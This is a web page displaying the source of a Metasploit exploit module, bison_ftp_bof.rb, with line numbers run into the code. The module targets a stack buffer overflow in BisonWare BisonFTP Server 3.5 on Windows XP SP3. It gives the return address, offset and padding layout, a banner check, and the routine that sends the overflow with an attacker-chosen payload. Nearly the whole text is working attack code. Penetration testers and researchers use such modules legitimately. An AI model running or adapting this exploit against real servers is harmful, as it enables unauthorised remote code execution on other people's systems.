Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/bison_ftp_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(update_info(info,12'Name' => 'BisonWare BisonFTP Server Buffer Overflow',13'Description' => %q{14BisonWare BisonFTP Server 3.5 is prone to an overflow condition.15This module exploits a buffer overflow vulnerability in the said16application.17},18'Platform' => 'win',19'Author' =>20[21'localh0t', # initial discovery22'veerendragg @ SecPod', # initial msf23'Jay Turla' # msf24],25'License' => MSF_LICENSE,26'References' =>27[28[ 'CVE', '1999-1510'],29[ 'BID', '49109'],30[ 'EDB', '17649'],31[ 'URL', 'http://secpod.org/msf/bison_server_bof.rb']32],33'Privileged' => false,34'DefaultOptions' =>35{36'VERBOSE' => true37},38'Payload' =>39{40'Space' => 310,41'BadChars' => "\x00\x0a\x0d",42'StackAdjustment' => -3500,43},44'Targets' =>45[46[ 'Bisonware FTP Server / Windows XP SP3 EN',47{48'Ret' => 0x0040333f,49'Offset' => 1028,50'Nops' => 40451}52],53],54'DefaultTarget' => 0,55'DisclosureDate' => '2011-08-07'))56end5758def check59connect_login60disconnect61if /BisonWare BisonFTP server product V3\.5/i === banner62return Exploit::CheckCode::Appears63else64return Exploit::CheckCode::Safe65end66end6768def exploit69connect70print_status('Triggering the prompt for an unregistered product')71sock.put('')72print_status('Disconnecting...')73disconnect7475print_status('Connecting for the second time to deliver our payload...')76connect #connect for the second time7778buf = rand_text_alpha(target['Offset'])79buf << payload.encoded80buf << make_nops( (target['Nops']) - payload.encoded.length)81buf << [target.ret].pack('V')82print_status('Sending payload...')8384sock.put(buf)85handler86disconnect87end88end899091